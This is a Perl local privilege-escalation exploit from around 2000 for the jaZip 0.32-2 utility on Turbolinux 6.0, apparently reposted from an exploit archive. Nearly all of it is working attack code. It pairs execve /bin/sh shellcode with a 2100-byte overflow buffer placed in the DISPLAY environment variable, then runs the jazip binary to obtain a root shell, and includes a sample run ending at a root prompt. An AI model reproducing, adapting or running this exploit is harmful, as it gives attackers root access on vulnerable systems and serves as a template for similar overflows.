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jaZip 0.32-2 Local Buffer Overflow Exploit
[==========================================
jaZip 0.32-2 Local Buffer Overflow Exploit
==========================================
#!/usr/bin/perl
## jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000
## <teleh0r@doglover.com> || http://teleh0r.cjb.net/
## Vulnerable: Turbolinux 6.0
##
## [teleh0r@localhost teleh0r]$ rpm -q jaZip
## jaZip-0.32-2
## [teleh0r@localhost teleh0r]$ ./jazip-exploit.pl
## Address: 0xbffff7ac
## bash#
$shellcode = # Shellcode by: Taeho Oh
"\xeb\x1f". #/* jmp 0x1f */
"\x5e". #/* popl %esi */
"\x89\x76\x08". #/* movl %esi,0x8(%esi) */
"\x31\xc0". #/* xorl %eax,%eax */
"\x88\x46\x07". #/* movb %eax,0x7(%esi) */
"\x89\x46\x0c". #/* movl %eax,0xc(%esi) */
"\xb0\x0b". #/* movb $0xb,%al */
"\x89\xf3". #/* movl %esi,%ebx */
"\x8d\x4e\x08". #/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c". #/* leal 0xc(%esi),%edx */
"\xcd\x80". #/* int $0x80 */
"\x31\xdb". #/* xorl %ebx,%ebx */
"\x89\xd8". #/* movl %ebx,%eax */
"\x40". #/* inc %eax */
"\xcd\x80". #/* int $0x80 */
"\xe8\xdc\xff\xff\xff". #/* call -0x24 */
"/bin/sh"; #/* .string \"/bin/sh\" */
$ret = 0xbffff7ac; # May have to be modified.
$len = 2100;
$nop = 'A';
if (@ARGV == 1) {
$offset = $ARGV[0];
}
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
$new_ret = pack('l',($ret + $offset));
$buffer .= $nop x 3; # May have to be modified / 5 for Debian.
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}
if ($ENV{'DISPLAY'}) {
delete($ENV{'DISPLAY'});
}
local($ENV{'DISPLAY'}) = $buffer;
exec("/usr/X11R6/bin/jazip");
# 0day.today [2024-12-23] #